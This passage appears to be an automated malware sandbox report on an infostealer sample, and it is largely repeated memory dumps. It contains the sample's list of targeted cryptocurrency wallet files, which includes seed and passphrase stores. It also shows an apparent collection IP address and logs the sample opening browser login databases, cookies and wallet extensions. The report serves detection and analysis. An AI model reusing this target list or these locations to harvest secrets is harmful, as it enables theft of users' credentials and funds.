Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2027401280.0000000001A08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16bert\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 8407c5d8e2.exe, 0000001F.00000003.2406515378.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ata\Roaming\Ledger Live

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db
